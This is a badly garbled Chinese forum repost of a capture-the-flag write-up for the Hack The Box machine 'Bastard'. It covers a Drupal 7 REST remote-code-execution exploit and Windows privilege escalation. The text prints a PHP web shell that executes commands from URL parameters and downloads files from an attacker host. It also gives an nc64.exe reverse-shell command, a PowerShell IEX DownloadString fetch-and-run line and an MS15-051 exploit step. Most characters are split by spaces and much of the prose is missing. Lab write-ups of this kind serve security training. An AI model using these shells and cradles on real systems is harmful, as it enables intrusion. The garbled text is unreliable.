[26876] 2019-12-13_HTB系列之七:Bastard

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2019-12-13_HTB系列之七:Bastard H T B B a s t a r d   s h a v c h e n   M s 0 8 0 6 7   2 0 1 9 - 1 2 - 1 3   #   , 2 3   H T B   7 B a s t a r d P H P   U n s e r i l a i z e C M S   V e r s i o n   I d e n t i f y W i n d o w s   p r i v i l e g e   e s c a l a t i o n   S h e r l o c k B a s t a r d   I P 1 0 . 1 0 . 1 0 . 9 K a l i   I P 1 0 . 1 0 . 1 4 . 2 3 8 0 ( I I S ) 访 n m a p   - A   - p -   - v   - T 4   1 0 . 1 0 . 1 0 . 9
d r u p a l   c m s 访   r o b o t s . t x t  
D r u p a l   7 . 5 4   r c e     e x p l o i t e x p l o i t R E S T R E S T s e a r c h s p l o i t   d r u p a l   7 . x
  e n d p o i n t     / r e s t e x p l o i t g o b u s t e r   - q   d i r   - - u r l   h t t p : / / 1 0 . 1 0 . 1 0 . 9   - t   5 0   - - w o r d l i s t   . / w o r d . t x t p h p   e x p . p h p
  b u r p s u i t e     e x p   t a r g e t   b u r p  
p h p K a l i   p h p - c u r l     s h e l l . p h p   s e s s i o n . j s o n   a p t   i n s t a l l   p h p - c u r l
  x 6 4     n c . e x e h t t p s : / / e t e r n a l l y b o r e d . o r g / m i s c / n e t c a t /   e x p   使   s m b 使 c o p y   i p n c 6 4 . e x e   n c . e x e 3 5   $ p h p m i n e   =   < < < ' E O D ' 3 6   < ? p h p 3 7   i f ( i s s e t ( $ _ G E T [ ' f u p l o a d ' ] ) ) { 3 8     f i l e _ p u t _ c o n t e n t s ( $ _ G E T [ ' f u p l o a d ' ] , f i l e _ g e t _ c o n t e n t s ( " h t t p : / / 1 0 . 1 0 . 1 4 . 1 5 : 8 0 0 0 / " . $ _ G E T [ ' f u p l o a d ' ] ) ) ; 3 9   } ; 4 0   i f ( i s s e t ( $ _ G E T [ ' f e x e c ' ] ) ) { 4 1     e c h o   " < p r e > "   .   s h e l l _ e x e c ( $ _ G E T [ ' f e x e c ' ] )   .   " < / p r e > " ; 4 2   } ; 4 3   ? > 4 4   E O D ; 4 5   4 6   $ f i l e   =   [ 4 7           ' f i l e n a m e '   = >   ' c m d . p h p ' , 4 8           ' d a t a '   = >   $ p h p m i n e 4 9   ] ; 1 0 . 1 0 . 1 0 . 9 / 2 3 3 . p h p ? f u p l o a d = n c 6 4 . e x e & f e x e c = n c 6 4 . e x e   - e   c m d   1 0 . 1 0 . 1 4 . 1 5   4 4 4 4
S h e r l o c k W i n d o w s P o w e r S h e l l g i t   c l o n e   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / r a s t a - m o u s e / S h e r l o c k . g i t h t t p : / / 1 0 . 1 0 . 1 0 . 9 / c m d . p h p ? f e x e c = e c h o   I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 1 0 . 1 4 . 1 5 : 8 0 0 0 / S h e r l o c k . p s 1 '
  m s 1 5 - 0 5 1   ,   h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s / b l o b / m a s t e r / M S 1 5 - 0 5 1 / M S 1 5 - 0 5 1 - K B 3 0 4 5 1 7 1 . z i p   n c   D r u p a l   7 . x   R C E     E X P h t t p s : / / w w w . x c t f . o r g . c n / l i b r a r y / d e t a i l s / 5 8 b d 0 f 2 c 4 d 4 c 7 7 a e f 7 d 1 5 7 8 7 c b 6 5 0 0 8 a 6 5 3 3 b 8 7 a /
M s 0 8 0 6 7 W e b 2 0 1 9 1 1 P y t h o n J A V A C T F A P T w w w . m s 0 8 0 6 7 . c o m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则